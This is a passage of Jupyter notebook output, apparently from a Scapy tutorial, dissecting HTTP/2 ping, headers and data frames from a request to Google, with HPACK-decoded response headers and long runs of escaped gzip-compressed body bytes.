'\\\\x1f\\\\x8b\\\\x08\\\\x00\\\\x00\\\\tn\\\\x88\\\\x02\\\\xff\\\\xbcX{PTU\\\\x18?\\\\xa6\\\\x8d\\\\x89\\\\xa5\\\\xf4G\\\\xff5\\\\x13\\\\xf60\\\\xffh\\\\xcc1\\\\x11\\\\xc7L\\\\xb3\\\\x07>\\\\xffp\\\\x94\\\\x10L\\\\x1b\\\\xd3L+kF\\\\'\\\\xb5\\\\x19\\\\xc7Rg\\\\xc2\\\\xb4@KtD _\\\\x91\\\\x80\\\\x8e\\\\x82\\\\x8a\\\\xa8\\\\x83\\\\nhI\\\\xa9\\\\xa8\\\\x08B\\\\x98\\\\xaf|\\\\xdf]`\\\\xc1}\\\\xb0{\\\\xf7;\\\\xbf\\\\xe6\\\\\\\\\\\\xeee\\\\xee\\\\xde\\\\xbd\\\\x97\\\\xdd\\\\xb5\\\\xb53\\\\xf3\\\\rg\\\\xcf\\\\xfd\\\\xbe\\\\xefw\\\\xcew\\\\xbe\\\\xd7\\\\x81\\\\xb1n\\\\xec1\\\\x16\\\\x1b+\\\\xfe\\\\xc6\\\\xb1y=\\\\x18\\\\xeb\\\\xcf\\\\x18\\\\x8b\\\\x8b\\\\xeb\\\\xf8\\\\x9d\\\\x1f\\\\xcbXF\\\\x0f\\\\xc6\\\\x060\\\\xc6b\\\\xc5:\\\\xebXWF\\\\x0f\\\\x16r\\\\x00\\\\x18DD\\\\x1b\\\\x89\\\\xa8\\\\x81\\\\x88\\\\xbc*\\\\xd5\\\\x13Q&\\\\xe7|\\\\xa0\\\\x95\\\\x1c\\\\xe7\\\\xbc\\\\x17\\\\x11e!\\\\xc4 \\\\xa2\\\\r\\\\x00\\\\x9e0\\\\x91\\\\xad\\\\x10\\\\xdf}\\\\xe4\\\\xc5\\\\x81\\\\xbfvb\\\\xf1\\\\x91\\\\x19H\\\\xd95\\\\x1c)\\\\x85\\\\xc3\\\\xb1\\\\xf0P*v\\\\xd7\\\\xe5\\\\xa2]vk:\\\\x8e\\\\xebuh\\\\xb8v\\\\xd7},(M\\\\xc1\\\\x94\\\\xfc!\\\\xa6\\\\x94\\\\xb17\\\\x05\\\\xdcq\\\\xafs\\\\x1f\\\\xday\\\\x15\\\\\\\\\\\\xbf\\\\x17\\\\x0bJ\\\\xa7*|\\\\x02s\\\\xfb\\\\xf9\\\\x1fQ{\\\\xff\\\\x0c.I\\\\xd5(\\\\xac\\\\xcdF\\\\xd6\\\\x8e\\\\xf1p\\\\xa4\\\\x8d\\\\x86;w.\\\\xc0\\\\xb9\\\\xa2C\\\\xd8\\\\x83\\\\x886\\\\x89\\\\xf9\\\\xeaKg1\\\\xa1p,\\\\x92\\\\x0b\\\\x87\\\\xa1N\\\\xaa\\\\x0e>\\\\xf7\\\\x9d\\\\x068W%\\\\xc2\\\\xf9\\\\xed[\\\\xf07\\\\x9c\\\\xd0\\\\xf6\\\\x90ID\\\\x8db\\\\xfe\\\\xca\\\\xc9V<]\\\\xd6\\\\x84\\\\xf4\\\\x0bE\\\\x96\\\\xb6k\\\\xdf\\\\xb3R\\\\x91o/I\\\\xd7\\\\xe4\\\\xc5\\\\xbd\\\\xf8\\\\xc4<\\\\xe6\\\\xa8\\\\x8c\\\\xc7\\\\xcbd\\\\x94\\\\xd8x\\\\x80\\\\x8c\\\\xe07\\\\x92\\\\xe7\\\\xd7E\\\\x9a\\\\xbcW\\\\x93\\\\xef}\\\\xacC\\\\xfe\\\\xa0=\\\\x0c\\\\xf9\\\\xc2\\\\xa5z\\\\xf9\\\\xcbb\\\\x1e\\\\xff\\\\x87\\\\x1f1\\\\xfb\\\\xbc\\\\xf8\\\\xec\\\\x177\\\\xc2\\\\x1d\\\\xaa\\\\x8f)w\\\\xf7\\\\xd39\\\\x19\\\\t\\\\x93\\\\xed\\\\x18\\\\x96(\\\\xe1|\\\\xad\\\\xcf\\\\x84\\\\xd7T~#\\\\xe7|\\\\xb0\\\\x98{\\\\xbd\\\\x1c\\\\xc9\\\\xb3\\\\x9a\\\\x10\\\\xff\\\\xb6\\\\x84\\\\xd7\\\\xc7\\\\xd9\\\\xb0!\\\\xc7\\\\x89s5>\\\\\\\\\\\\xa8\\\\xf5ac\\\\xae\\\\x13\\\\x93?h\\\\xc2\\\\x8d\\\\x9b~\\\\xa3\\\\x8aA\\\\xaa\\\\xff\\\\xe4\\\\x8a\\\\x1f\\\\xf7$B\\\\xca\\\\xecfE\\\\x87\\\\x19\\\\xcd_\\\\xec\\\\xd0co\\\\xd2\\\\xc5L\\\\x0c\\\\x11\\\\x9d\\\\xd0\\\\xf6\\\\x91\\\\xb7\\\\xdb\\\\x8d\\\\x19\\\\x9f4c\\\\xc4x\\\\x1b\\\\x86\\\\x8f\\\\x910\\\\xed\\\\xe3fl/p)\\\\xdfT\\\\xd9\\\\n\\\\xe1\\\\xf3\\\\x86\\\\xb8\\\\x8b\\\\xd1\\\\xf6\\\\x11\\\\xc2fYFYC,\\\\r\\\\x16<\\\\xe2^\\\\xc4\\\\xdd\\\\xaa\\\\xd4\\\\xa8\\\\xfa\\\\xe9 #\\\\xbf\\\\xa3/c\\\\xe5\\\\xdd\\\\x19[\\\\xde\\\\xad\\\\x83B\\\\r\\\\x8dO\\\\xc8\\\\x08\\\\xd9\\\\x01j\\\\x8eyS\\\\x9fgb\\\\xd9C\\\\x0f\\\\xce\\\\xf9S\\\\x9c\\\\xf3\\\\xa9\\\\xea\\\\x19\\\\xaa\\\\x88H\\\\xd2\\\\xe5!I]\\\\x136H\\\\x06\\\\xf0$\\\\x8b\\\\xd2\\\\xe0\\\\x9c\\\\xbfHD9D\\\\xe4\\\\x8a\\\\xc0\\\\x7f]D\\\\xb4\\\\x99s\\\\xfe\\\\xc2\\\\x7f\\\\xc0\\\\x15\\\\xb9o\\\\r\\\\x11\\\\xc9x\\\\xc8\\\\xa1\\\\xde\\\\xf1*c^\\\\r\\\\xf3\\\\xcc5\\\\x88\\\\xd2 \\\\xa2\\\\xf3\\\\x00\\\\x9e\\\\x0f\\\\x07[\\\\xad3\\\\x92\\\\x99\\\\x1e\\\\xc9y\\\\x07{\\\\xeb\\\\xb7ae\\\\xf9|\\\\xcc)\\\\x1e\\\\xa7\\\\xe4\\\\xd4\\\\xe4\\\\x82\\\\x04\\\\xcc.J\\\\xc4\\\\xb2\\\\xa3s\\\\x90W\\\\xb3\\\\x01W\\\\x9b\\\\x1b\\\\xac\\\\xf6p\\\\x8fs\\\\xfej\\\\x18\\\\xe7\\\\x0e\\\\xc2\\\\xb6\\\\xb9\\\\xeeb\\\\xed\\\\xefK\\\\x91T0\\\\xd4\\\\xb2\\\\x86\\\\xe8\\\\xe9\\\\xebcsq\\\\xa5\\\\xb9\\\\xdet\\\\x0fVvP\\\\xe3\\\\xfc\\\\xa2Q\\\\xe6\\\\xe4\\\\x8d\\\\xc3\\\\x98\\\\xbe{dX\\\\xb8z\\\\x12v)\\\\xae\\\\xc9\\\\xb6\\\\xba\\\\x8b \\\\x7f \\\\xa2\\\\xef\\\\x8d\\\\xbc\\\\xc5\\\\r;\\\"\\\\xc6\\\\xd5hf^<\\\\xfe\\\\xcc\\\\x18\\\\to\\\\xc5\\\\x16\\\\xb3=\\\\xac2\\\\xd8\\\\xfd%\\\\xa3\\\\x9fW^/\\\\xb5\\\\xd4\\\\xfd\\\\xc5\\\\xc1$l\\\\xa9NGic!\\\\x0e]\\\\xde\\\\xa5\\\\xdc\\\\xfb\\\\xd2\\\\xb2\\\\x8f\\\\x90\\\\x94\\\\x1f\\\\xaf|_\\\\xb25\\\\x017W\\\\x8f\\\\xee\\\\xacKZ]\\\\xd5\\\\xc7\\\\x85>6\\\\x8d\\\\xf9U\\\\xf8\\\\xd9\\\\xfb&6\\\\x9f\\\\xbbo\\\"\\\\xce\\\\xdc\\\\xae\\\\xb4\\\\xf4\\\\xf3\\\\xeb-\\\\x8d\\\\xc8/\\\\x9e\\\\x8dVC]t\\\\xadK\\\\x02\\\\xf7\\\\xba\\\\x8d{\\\\xd8\\\\xac\\\\x9e\\\\xbd\\\\x0f\\\\x11\\\\x05|\\\\\\\\yjm\\\\x10\\\\xf6\\\\xa2\\\\xc3\\\\xd3\\\\xd1\\\\xe6u\\\\x84\\\\x0e6\\\\xbf\\\\x0f\\\\x9e\\\\x9dK\\\\x82j\\\\xb3\\\\xaf\\\\xaa (G\\\\x89<\\\\xc99O\\\\xd5\\\\xaf_ss\\\\xf4*s\\\\xe3\\\\xb5\\\\xa2\\\\xb4N\\\\xecYE\\\\x89h\\\\xf1\\\\xd8\\\\xc3\\\\x8ew\\\\xeey\\\\xa0\\\\x9cY\\\\x8f\\\\xef\\\\xce\\\\x9a\\\\x19\\\\xcc\\\\xc7y\\\\xb2\\\\xc8\\\\xad\\\\xfa\\\\xb5\\\\xef\\\\xae\\\\x91\\\\xd2o\\\\x08\\\\xeaW\\\\xb2\\\\x1f\\\\x93\\\\xf2G\\\\xa0\\\\xecJQ\\\\xc49\\\\xc7w*?\\\\xc8\\\\x06\\\\xdcq7\\\\xa8f\\\\x12\\\\xd1i\\\\xfd\\\\xda\\\\x98j\\\\x7f\\\\'\\\\xbe\\\\xa0\\\\x81\\\\x95\\\\xb7 \\\\x93/\\\\xf2\\\\x9c\\\\']\\\\r\\\\xc2\\\\x97\\\\xeb+\\\\x8c\\\\xf8\\\\xa2f\\\\x05\\\\x18\\\\xf6\\\\xd9J9\\\\x00?\\\\xa5\\\\xc6\\\\xdf%\\\\x8eY\\\\x1ffE\\\\xbe\\\\xaaB#\\\\xbe\\\\xa4\\\\xf5y\\\\xda\\\\xe8y4\\\\x10\\\\x7f\\\\xd9\\\\xdf\\\\x145|c.\\\\xd0\\\\xf7\\\\x99\\\\xff\\\\x07\\\\xbe\\\\xef\\\\xb7<3\\\\xfc\\\\xa6\\\\xae\\\\xec\\\\x9fz1z\\\\xf6\\\\x97\\\\xeb\\\\x8e\\\\x9b\\\\xd9?\\\\xc0\\\\xff\\\\x12\\\\xcf\\\\x06\\\\xfa_\\\\xbf=^\\\\xc82\\\\x1e\\\\xc9P\\\\xfd/ \\\\xfe\\\\xd2t\\\\xf1\\\\xf7\\\\xccz\\\\x17\\\\x86\\\\x8c\\\\xb3a\\\\xff!\\\\xcf\\\\xa3\\\\xc2\\\\x17\\\\xfd\\\\xda4\\\\xfd\\\\xda\\\\x157G\\\\xcf\\\\xc32\\\\xe2\\\\x96\\\\xb4v\\\\xf6\\\\xd7c\\\\xdf\\\\xb3\\\\xa3\\\\xd9AQ\\\\xc7\\\\x17\\\\xfd$\\\\x80\\\\xbeD\\\\x14p\\\\xc0\\\\xcf\\\\xd79\\\\x83z\\\\xfc\\\\x0f\\\\xe7\\\\xb7\\\\xa0\\\\xad\\\\x8d\\\\x87\\\\xd4\\\\xe9t\\\\xf1\\\\xb0{D\\\\xd1\\\\xd3\\\\xaa\\\\xf5\\\\' 0n\\\\xdd\\\\xf1\\\\xe3\\\\x8d\\\\xf1\\\\xb6\\\\xa0=L\\\\x9a\\\\xde\\\\x84\\\\xaa3^K\\\\x9d\\\\xa7N{11\\\\xc5\\\\x8e\\\\x1f2\\\\x1f\\\\x84\\\\x83\\\\x9f\\\\xa3\\\\xab\\\\xbf/\\\\x13Q\\\\x80\\\\xa3\\\\x97\\\\x1c\\\\xf1X\\\\xbewR\\\\xe74c}\\\\xb6\\\\x13{\\\\x0ex\\\\xb0\\\\xb7\\\\xc4\\\\x83\\\\xccl\\\\xa7\\\\xf2\\\\x96\\\\xd1\\\\xf3\\\\xa4e\\\\xb4i\\\\xcfa3lY\\\\xf4Z\\\\x86\\\\xfe#\\\\xdd\\\\xc8\\\\xb7u\\\\xa7\\\\xcbr\\\\x0f\\\\xe1\\\\xd0\\\\x8a5mV\\\\xf8kLz\\\\xbf\\\\xdeDTg\\\\xe4\\\\x15v\\\\x189\\\\xc1\\\\x161\\\\xf6\\\\xa8\\\\x896\\\\x1c9\\\\xden\\\\x86]c\\\\xf5N\\\\xe3\\\\x9c\\\\xf7\\\\'\\\"\\\\x9bQ\\\\xe6\\\\xf6]?\\\\xbeZ\\\\xd1\\\\x8a\\\\xa1\\\\xef\\\\x84\\\\xc6\\\\x15<\\\\x8b\\\\xbfiUdL\\\\xb0%\\\\xa3\\\\xdd-\\\\xde\\\\x8963\\\\xbb\\\\t\\\\xbf\\\\xfc9\\\\xcf\\\\x85O\\\\xbft(1)\\\\xde\\\\xe4\\\\t\\\\xefJH\\\\x9cb\\\\xc7\\\\xbc\\\\x85-\\\\xd8\\\\xbc\\\\xcd\\\\x85\\\\x7fn\\\\xf9\\\\xadl.\\\\x99\\\\xbd3\\\\xbb\\\\xb0C]\\\\x14\\\\xf3LM\\\\xa8s[\\\\xf4\\\\xe3\\\\xe9\\\\xc6\\\\xb8\\\\x88\\\\x10W\\\\x16}uW\\\\xef\\\\xf20l!bs\\\\x8b1G\\\\x85\\\\xc0u\\\\x8b\\\\x9eV\\\\xf4\\\\xd5Q|\\\\x07\\\\xf7\\\\x11\\\\xb9Z}\\\\x0b\\\\x9f\\\\x16uS\\\\xf7\\\\x7f\\\\x04\\\\xbb\\\\xba\\\\x96#\\\\xfaI\\\\xc1\\\\x1b\\\\xb6\\\\x9d\\\\xcb\\\\xbb\\\\x03\\\\x8c\\\\xc1\\\\xcf\\\\xd8\\\\xa8v\\\\xc6\\\\x9es0\\\\xd6\\\\xf7:c=\\\\xcb\\\\x19\\\\xeb.h9c\\\\xdd\\\\x04E\\\\xba_MN\\\\xd3#t\\\\n\\\\xdd\\\\x02C`\\\\tL\\\\x81\\\\xfdo\\\\x00\\\\x00\\\\x00\\\\xff\\\\xff\\\\xc6\\\\xf9Yo6\\\\x15\\\\x00\\\\x00'\\n\"\n       ]\n      },\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"\\n\",\n        \"###[ HTTP/2 Frame ]### \\n\",\n        \"  len       = 0x8\\n\",\n        \"  type      = PingFrm\\n\",\n        \"  flags     = set([])\\n\",\n        \"  reserved  = 0L\\n\",\n        \"  stream_id = 0L\\n\",\n        \"###[ HTTP/2 Ping Frame ]### \\n\",\n        \"     opaque    = 0\\n\",\n        \"\\n\",\n        \"###[ HTTP/2 Frame ]### \\n\",\n        \"  len       = 0x167\\n\",\n        \"  type      = HdrsFrm\\n\",\n        \"  flags     = set(['End Headers (EH)'])\\n\",\n        \"  reserved  = 0L\\n\",\n        \"  stream_id = 1L\\n\",\n        \"###[ HTTP/2 Headers Frame ]### \\n\",\n        \"     \\\\hdrs      \\\\\\n\",\n        \"      |###[ HPack Indexed Header Field ]### \\n\",\n        \"      |  magic     = 1\\n\",\n        \"      |  index     = 8\\n\",\n        \"      |###[ HPack Literal Header With Incremental Indexing ]### \\n\",\n        \"      |  magic     = 1\\n\",\n        \"      |  index     = 33\\n\",\n        \"      |  \\\\hdr_value \\\\\\n\",\n        \"      |   |###[ HPack Header String ]### \\n\",\n        \"      |   |  type      = Compressed\\n\",\n        \"      |   |  len       = 22\\n\",\n        \"      |   |  data      = 'HPackZString(Tue, 13 Dec 2016 17:34:51 GMT)'\\n\",\n        \"      |###[ HPack Literal Header With Incremental Indexing ]### \\n\",\n        \"      |  magic     = 1\\n\",\n        \"      |  index     = 36\\n\",\n        \"      |  \\\\hdr_value \\\\\\n\",\n        \"      |   |###[ HPack Header String ]### \\n\",\n        \"      |   |  type      = Literal\\n\",\n        \"      |   |  len       = 2\\n\",\n        \"      |   |  data      = 'HPackLiteralString(-1)'\\n\",\n        \"      |###[ HPack Literal Header With Incremental Indexing ]### \\n\",\n        \"      |  magic     = 1\\n\",\n        \"      |  index     = 24\\n\",\n        \"      |  \\\\hdr_value \\\\\\n\",\n        \"      |   |###[ HPack Header String ]### \\n\",\n        \"      |   |  type      = Compressed\\n\",\n        \"      |   |  len       = 13\\n\",\n        \"      |   |  data      = 'HPackZString(private, max-age=0)'\\n\",\n        \"      |###[ HPack Literal Header With Incremental Indexing ]### \\n\",\n        \"      |  magic     = 1\\n\",\n        \"      |  index     = 31\\n\",\n        \"      |  \\\\hdr_value \\\\\\n\",\n        \"      |   |###[ HPack Header String ]### \\n\",\n        \"      |   |  type      = Compressed\\n\",\n        \"      |   |  len       = 22\\n\",\n        \"      |   |  data      = 'HPackZString(text/html; charset=ISO-8859-1)'\\n\",\n        \"      |###[ HPack Literal Header With Incremental Indexing ]### \\n\",\n        \"      |  magic     = 1\\n\",\n        \"      |  index     = 0\\n\",\n        \"      |  \\\\hdr_name  \\\\\\n\",\n        \"      |   |###[ HPack Header String ]### \\n\",\n        \"      |   |  type      = Literal\\n\",\n        \"      |   |  len       = 3\\n\",\n        \"      |   |  data      = 'HPackLiteralString(p3p)'\\n\",\n        \"      |  \\\\hdr_value \\\\\\n\",\n        \"      |   |###[ HPack Header String ]### \\n\",\n        \"      |   |  type      = Compressed\\n\",\n        \"      |   |  len       = 81\\n\",\n        \"      |   |  data      = 'HPackZString(CP=\\\"This is not a P3P policy! See https://www.google.com/support/accounts/answer/151657?hl=en for more info.\\\")'\\n\",\n        \"      |###[ HPack Indexed Header Field ]### \\n\",\n        \"      |  magic     = 1\\n\",\n        \"      |  index     = 78\\n\",\n        \"      |###[ HPack Literal Header With Incremental Indexing ]### \\n\",\n        \"      |  magic     = 1\\n\",\n        \"      |  index     = 54\\n\",\n        \"      |  \\\\hdr_value \\\\\\n\",\n        \"      |   |###[ HPack Header String ]### \\n\",\n        \"      |   |  type      = Literal\\n\",\n        \"      |   |  len       = 3\\n\",\n        \"      |   |  data      = 'HPackLiteralString(gws)'\\n\",\n        \"      |###[ HPack Literal Header With Incremental Indexing ]### \\n\",\n        \"      |  magic     = 1\\n\",\n        \"      |  index     = 28\\n\",\n        \"      |  \\\\hdr_value \\\\\\n\",\n        \"      |   |###[ HPack Header String ]### \\n\",\n        \"      |   |  type      = Compressed\\n\",\n        \"      |   |  len       = 3\\n\",\n        \"      |   |  data      = 'HPackZString(4420)'\\n\",\n        \"      |###[ HPack Indexed Header Field ]### \\n\",\n        \"      |  magic     = 1\\n\",\n        \"      |  index     = 72\\n\",\n        \"      |###[ HPack Literal Header With Incremental Indexing ]### \\n\",\n        \"      |  magic     = 1\\n\",\n        \"      |  index     = 0\\n\",\n        \"      |  \\\\hdr_name  \\\\\\n\",\n        \"      |   |###[ HPack Header String ]### \\n\",\n        \"      |   |  type      = Compressed\\n\",\n        \"      |   |  len       = 11\\n\",\n        \"      |   |  data      = 'HPackZString(x-frame-options)'\\n\",\n        \"      |  \\\\hdr_value \\\\\\n\",\n        \"      |   |###[ HPack Header String ]### \\n\",\n        \"      |   |  type      = Compressed\\n\",\n        \"      |   |  len       = 9\\n\",\n        \"      |   |  data      = 'HPackZString(SAMEORIGIN)'\\n\",\n        \"      |###[ HPack Literal Header With Incremental Indexing ]### \\n\",\n        \"      |  magic     = 1\\n\",\n        \"      |  index     = 55\\n\",\n        \"      |  \\\\hdr_value \\\\\\n\",\n        \"      |   |###[ HPack Header String ]### \\n\",\n        \"      |   |  type      = Compressed\\n\",\n        \"      |   |  len       = 165\\n\",\n        \"      |   |  data      = 'HPackZString(NID=91=Wt1Jkm3Eretgg-hJ32fkj7kSSOLTc8tfEEIP5F2QTzHqbsXcCFve-QoN1oZvkGEqqqAWklc2wlj97YDkMnGXQUw20iCYMc3FD6X-KVuK1wdFURafcqQMQZ8e-F14YUfn; expires=Wed, 14-Jun-2017 17:34:51 GMT; path=/; domain=.google.fr; HttpOnly)'\\n\",\n        \"      |###[ HPack Indexed Header Field ]### \\n\",\n        \"      |  magic     = 1\\n\",\n        \"      |  index     = 71\\n\",\n        \"\\n\",\n        \"###[ HTTP/2 Frame ]### \\n\",\n        \"  len       = 0x122b\\n\",\n        \"  type      = DataFrm\\n\",\n        \"  flags     = set(['End Stream (ES)', 'Padded (P)'])\\n\",\n        \"  reserved  = 0L\\n\",\n        \"  stream_id = 1L\\n\",\n        \"###[ HTTP/2 Padded Data Frame ]### \\n\",\n        \"     padlen    = 230\\n\",\n        \"     data      = '\\\\x1f\\\\x8b\\\\x08\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x02\\\\xff\\\\xc5:\\\\xebz\\\\xdb\\\\xb6\\\\x92\\\\xff\\\\xfb\\\\x144\\\\xfcU\\\\x96\\\\xd6\\\\xb4DR7R4\\\\x9d\\\\x93:n\\\\xe2n\\\\xda\\\\xa4\\\\'\\\\xc9I\\\\xcf\\\\xa6\\\\xa9>\\\\x90\\\\x84(\\\\xc6\\\\xbc\\\\x99\\\\x00e;\\\\xb2\\\\xdem\\\\x1fg\\\\xf3\\\\x16;\\\\x03^D\\\\xc9N\\\\xd2o\\\\xff\\\\xec\\\\x97DC\\\\x003\\\\x03\\\\xcc\\\\x053\\\\x03 \\\\xa7\\\\x07~\\\\xea\\\\x89\\\\xbb\\\\x8c)K\\\\x11Gg\\\\xa7\\\\xf8\\\\xab\\\\x84\\\\x82\\\\xc5\\\\xdcK3\\\\xe6\\\\x10\\\"\\\\x1b\\\\x88\\\\xe0\\\\x90\\\\xa5\\\\x10\\\\xd9l0\\\\xe0\\\\xde\\\\x92\\\\xc5\\\\xb4\\\\x9f\\\\xe6\\\\xc1\\\\xe0=s_\\\\xd3\\\\x80\\\\x11%\\\\xa2I\\\\xe0\\\\x90EN\\\\x80\\\\x03\\\\xa3\\\\xfe\\\\xd9i\\\\xcc\\\\x04U\\\\xbc4\\\\x11,\\\\x11\\\\x0e\\\\x11\\\\xecV\\\\x0c\\\\x90\\\\xb5\\\\xadxK\\\\x9as&\\\\x9cwo\\\\x7f>1\\\\x89\\\\x82<O\\\\xd8u\\\\x11\\\\xae\\\\x1cr^\\\\xa2\\\\x9f\\\\xbc\\\\x85\\\\xd9\\\\xc8>\\\\x8bA\\\\x18\\\\xc3L|\\\\xe0\\\\xe64\\\\xf1\\\\xc3$\\\\x18\\\\x04i\\\\x1aD,\\\\x18\\\\xe8\\\\xb7\\\\xf5\\\\xe7\\\\x9c\\\\x0b\\\\x18\\\\xa3\\\\xb9?\\\\xf7\\\\xd2(\\\\xcd\\\\xe7\\\\xbaa\\\\xfaY?K\\\\x82R\\\\x88,O3\\\\x87H6\\\\xc0]\\\\x84\\\"bg\\\\xcf%\\\\xe5\\\\xe9\\\\xa0l\\\\x9dr/\\\\x0f3q\\\\xd6]\\\\x14\\\\x89\\\\'\\\\xc24\\\\xe9\\\\xf6\\\\xd67a\\\\xe2\\\\xa77\\\\xfdr\\\\ng}uq9;z\\\\xf5\\\\xf9\\\\xe7\\\\xdf\\\\xdf\\\\xff2?y9z\\\\xf5_\\\\xf4ul%\\\"xu\\\\xa4^]\\\\xfc\\\\xf1\\\\x1a\\\\x06\\\\xa7cmj\\\\xe8\\\\xaa>\\\\x1c\\\\xeb\\\\x966T\\\\x87SM3FCu\\\\xa4\\\\x19\\\\x96\\\\xa9\\\\x8f\\\\x01\\\\x0e\\\\x8d\\\\xc9t\\\\x8a\\\\xd0\\\\xd4t\\\\x03\\\\xe0H7-\\\\x0b\\\\xe1pd\\\\xc9\\\\xf6\\\\xd8\\\\x1c\\\\xe9\\\\x08\\\\xcd\\\\xe1\\\\x08\\\\xf1\\\\xc6\\\\xe3\\\\xe9\\\\x08\\\\xe9&\\\\xc6d2A8\\\\x9e\\\\x9a\\\\xd8?\\\\x99\\\\x9a\\\\x13\\\\r\\\\xa19\\\\x1eKh\\\\x99C\\\\xb3\\\\x84\\\\x92~jL4C\\\\xc2\\\\xe9\\\\x14\\\\xe9\\\\xa7C\\\\xe0%\\\\xe1\\\\xd40%\\\\xb4\\\\xc68/p\\\\xb7\\\\xa6\\\\x12Zc9>\\\\xd1\\\\xac\\\\x12ZC\\\\xbd\\\\x84r}Ss$\\\\xf9\\\\x03\\\\x1cO$\\\\x9cNF\\\\x08-]\\\\x93mk4\\\\x92\\\\xf3Y\\\\xb0R\\\\tM\\\\xab\\\\x1c\\\\xb7\\\\xc6\\\\x08A\\\\xdc\\\\t\\\\xcec\\\\xea\\\\xda\\\\xb0\\\\x86\\\\xc8\\\\xd744\\\\xc9\\\\xcf4\\\\xf4\\\\xc9XBC\\\\x97\\\\xe3\\\\xc6D\\\\x97\\\\xe3\\\\xa0\\\\x069>\\\\x02\\\\rJ8\\\\x94\\\\xfa4a\\\\xbd\\\\xb2\\\\x7f\\\\xac\\\\x8d%\\\\xfexbH8\\\\xd1t]B\\\\xc3\\\\xd2$4\\\\'\\\\x12\\\\x7f:\\\\xd5%\\\\xfd\\\\xd4\\\\x92\\\\xfa7\\\\x91a\\\\t\\\\x87\\\\x93\\\\x12\\\\x8e\\\\xe4\\\\xb89)\\\\xf9[\\\\x9aV\\\\xc2R>\\\\xd3\\\\x1a\\\\x96\\\\xeb\\\\xb6\\\\x86\\\\xa3\\\\xb2=2\\\\xe5<\\\\xd6X\\\\xea\\\\xc5\\\\xb4&V\\\\xd9?\\\\x1d\\\\xe9\\\\x15D\\\\xfe\\\\xc0\\\\xc6\\\\x9cH8\\\\x1c\\\\x1b\\\\x12\\\\x8e4\\\\xbd\\\\x84\\\\xd2\\\\xae\\\\x16hf\\\\xa2\\\\x9aCM\\\\xd3\\\\xac\\\\x12\\\\x1aSC\\\\xc2\\\\xd1\\\\xd4TA\\\\xba\\\\xc9\\\\x04\\\\xfc\\\\x06\\\\xe0t\\\\x08\\\\xf3!\\\\x1c\\\\x81^\\\\x10\\\\x9ac\\\\xb3\\\\x84\\\\x96l\\\\x9b\\\\xda\\\\xb8\\\\x82\\\\x13\\\\x89o\\\\x8eA~\\\\x84\\\\x16\\\\xe8\\\\x07\\\\xa0\\\\x05\\\\x9c$D\\\\x7f\\\\xd45\\\\x03&4\\\\x87\\\\xe8\\\\xa8\\\\xf0a\\\\x18G*-\\\\xc4\\\\xb2\\\\xe0,\\\\x9fi\\\\xea\\\\x15\\\\xf7\\\\xf8\\\\xec\\\\xc8\\\\xb3<K7\\\\x17\\\\xda\\\\xdc\\\\x18\\\\x1dm\\\\xecr\\\\x0b\\\\xf4\\\\xaf^\\\\xbct\\\\x8e\\\\x16\\\\xf9\\\\x91\\\\xbd\\\\xe9u{v{\\\\xabT\\\\x08\\\\x91\\\\xe7|\\\\xf8XcG\\\\xa1\\\\xa3\\\\xd5\\\\xdf\\\\x01\\\\x13\\\\x17\\\\x97NC@{\\\\xebE\\\\x9awW4W\\\\\\\\\\\\x9bv:\\\\xdd\\\\x03\\\\x8a(O\\\\x85\\\\xc8C\\\\xb7\\\\x10\\\\xec\\\\xfe\\\\xfe\\\\xa0\\\\xeb:\\\\xbb}]\\\\xc2B\\\\x9f\\\\xf4z=\\\\xbbGa(\\\\xa39\\\\x04\\\\x87\\\\xdfR\\\\x9f\\\\xd99\\\\x13E\\\\x9e(\\\\xee\\\\xfd}\\\\xbd\\\\xce\\\\x8b\\\\xcbMk\\\\xe6\\\\x97_\\\\x9b\\\\xdaI\\\\x8a(\\\\xfa\\\\xfb\\\\xf3G\\\\xdf[@3)\\\\x866\\\\xee\\\\xb4\\\\xf4Sb\\\\xc80\\\\xcag\\\\xc4q\\\\xaa\\\\xd0\\\\x12\\\\xa5\\\\x1eE\\\\x8c>\\\\x04(\\\\x91B\\\\xe8j8\\\\xc4\\\\xd1Cr\\\\x05\\\\x97\\\\xdb`\\\\xdc\\\\xb40\\\\xa8\\\\xea\\\\xf6\\\\xd6\\\"\\\\xbf[7\\\\xd4\\\\xdd\\\\x8b<\\\\x071iO=\\\\xd0ap\\\\x03\\\\xf3x\\\\xcb\\\\xae\\\\xd7[o\\\\x1a\\\\x06\\\"\\\\x8c\\\\xd9\\\\xc3I\\\\xba\\\\t\\\\xbbQ\\\\x9eQ\\\\xc1z(\\\\xfd[\\\\xc0\\\\xe9\\\\xf6\\\\x1a\\\\x92(\\\\rv&U=\\\\xd5W\\\\x83\\\\xde\\\\x9a:[\\\\x84wy\\\\xd4\\\\x1a\\\\xb2\\\\xc3E\\\\x97\\\\x90\\\\x03\\\\x07\\\\xd4\\\\x0e\\\\xea\\\\x06\\\\xd6\\\\x97\\\\x18\\\\x84mT?k\\\\x88<u\\\\xd1|\\\\x876\\\\xfb\\\\xb0\\\\xf8\\\\xe8\\\\xb8\\\\xb6\\\\xdbO\\\\x13\\\\x86B8\\\\xf8\\\\x15\\\\xa5\\\\xd4\\\\x97\\\\x1f\\\\xd4Ms\\\\xd1^\\\\xb6\\\\xcf\\\"&\\\\x98\\\\x82T\\\\x1b{\\\\'dw:;\\\\xcd\\\\xfe\\\\x8aE\\\\x8ft\\\\xf5\\\\xa3\\\\xe2\\\\xf1^P\\\\x1e,\\\\x82\\\\xe7\\\\x9eC[.\\\\xbd8\\\\xd67m}\\\\x80\\\\xb8\\\\x8f\\\\xaa\\\\xa4\\\\x94\\\\x90\\\\x90\\\\x96h\\\\xfc\\\\xfe\\\\x9e\\\\x10\\\\xdb\\\\xbb\\\\xbf?\\\\xd1\\\\x0f@\\\\x16\\\\xceh\\\\x0e6!\\\\x1d\\\\x16:\\\\xa4w\\\\x7f\\\\xdf\\\\x05t\\\\xf9}\\\\xdc\\\\xde4]\\\\xbf\\\\xa7\\\\x9e\\\\xe8N\\\\x1b?\\\\x92\\\\x04\\\\xe0\\\\xb5\\\\xbe\\\\xb3\\\\xe3\\\\xe4\\\\x80\\\\x8a\\\\xbd\\\\xec\\\\xd8\\\\xa9p\\\\x8e\\\\xa1\\\\xc3\\\\xa6\\\\x0e\\\\xccH\\\\x06\\\\xe4\\\\xb8\\\\x1b\\\\x00\\\\x0cX27\\\\xb4\\\\x11\\\\xe9\\\\x1d\\\\x93\\\\'\\\\x14r\\\\xbb\\\\x13v<H\\\\xb1\\\\xc7\\\\xf4\\\\x98t<